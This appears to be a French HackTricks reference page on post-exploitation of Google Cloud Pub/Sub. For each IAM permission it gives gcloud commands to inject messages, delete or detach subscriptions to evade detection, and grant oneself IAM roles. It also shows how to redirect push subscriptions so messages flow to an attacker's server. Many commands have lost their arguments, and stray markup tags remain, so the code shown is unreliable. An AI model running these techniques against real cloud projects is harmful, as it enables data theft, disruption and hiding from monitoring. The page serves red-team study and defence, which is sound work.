GCP - Pub/Sub Post Exploitation

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Pub/Sub

Pour plus d’informations sur Pub/Sub, consultez la page suivante:

GCP - Pub/Sub Enum

pubsub.topics.publish

Publier un message dans un topic, utile pour envoyer des données inattendues et déclencher des fonctionnalités inattendues ou exploiter des vulnérabilités :

Publier un message dans un topic ```bash # Publish a message in a topic gcloud pubsub topics publish --message "Hello!" ```

pubsub.topics.detachSubscription

Utile pour empêcher une subscription de recevoir des messages, peut-être pour éviter la détection.

Détacher la subscription du topic ```bash gcloud pubsub topics detach-subscription ```

pubsub.topics.delete

Utile pour empêcher une subscription de recevoir des messages, éventuellement pour éviter la détection.
Il est possible de supprimer un topic même avec des subscriptions attachées.

Supprimer topic ```bash gcloud pubsub topics delete ```

pubsub.topics.update

Utilisez cette permission pour modifier certains paramètres du topic afin de le perturber, comme --clear-schema-settings, --message-retention-duration, --message-storage-policy-allowed-regions, --schema, --schema-project, --topic-encryption-key

pubsub.topics.setIamPolicy

Donnez-vous la permission d’effectuer n’importe laquelle des attaques précédentes.

# Add Binding
gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"

# Remove Binding
gcloud pubsub topics remove-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"

# Change Policy
gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
<(echo '{
"bindings": [
{
"role": "<ROLE_OR_CUSTOM_ROLE>",
"members": [
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
]
}
]
}') \
--project=<PROJECT_ID>

pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)

Récupérer tous les messages sur un serveur web :

Créer une push subscription pour recevoir les messages ```bash # Crete push subscription and recieve all the messages instantly in your web server gcloud pubsub subscriptions create --topic --push-endpoint https:// ```

Créez un abonnement et utilisez-le pour récupérer des messages :

Créer un abonnement de type pull et récupérer les messages ```bash # This will retrive a non ACKed message (and won't ACK it) gcloud pubsub subscriptions create --topic

You also need pubsub.subscriptions.consume for this

gcloud pubsub subscriptions pull

This command will wait for a message to be posted

</details>

### `pubsub.subscriptions.delete`

**Supprimer un abonnement** peut être utile pour perturber un système de traitement des logs ou quelque chose de similaire :

<details>

<summary>Supprimer l'abonnement</summary>
```bash
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>

pubsub.subscriptions.update

Utilisez cette permission pour mettre à jour un paramètre afin que les messages soient stockés dans un endroit auquel vous pouvez accéder (URL, Big Query table, Bucket) ou simplement pour le perturber.

Point de terminaison de mise à jour de l'abonnement ```bash gcloud pubsub subscriptions update --push-endpoint ```

pubsub.subscriptions.setIamPolicy

Donnez-vous les autorisations nécessaires pour effectuer n’importe laquelle des attaques mentionnées précédemment.

pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)

Attacher un schema à un topic de façon à ce que les messages ne le respectent pas et que le topic soit perturbé.
Si aucun schema n’existe, vous devrez peut-être en créer un.

Créer le fichier schema et l'attacher au topic ```json:schema.json { "namespace": "com.example", "type": "record", "name": "Person", "fields": [ { "name": "name", "type": "string" }, { "name": "age", "type": "int" } ] } ```
# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json

pubsub.schemas.delete

Cela pourrait donner l’impression qu’en supprimant un schema vous pourrez envoyer des messages qui ne respectent pas le schema. Cependant, comme le schema sera supprimé, aucun message n’entrera réellement dans le topic. Donc c’est INUTILE :

Delete schema (not useful) ```bash gcloud pubsub schemas delete ```

pubsub.schemas.setIamPolicy

Donnez-vous les permissions nécessaires pour effectuer n’importe laquelle des attaques commentées précédemment.

pubsub.snapshots.create, pubsub.snapshots.seek

Cela créera un snapshot de tous les messages unACKed et les remettra dans la subscription. Pas très utile pour un attaquant mais voici :

Create snapshot and seek to it ```bash gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \ --subscription=YOUR_SUBSCRIPTION_NAME gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \ --snapshot=YOUR_SNAPSHOT_NAME ```

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks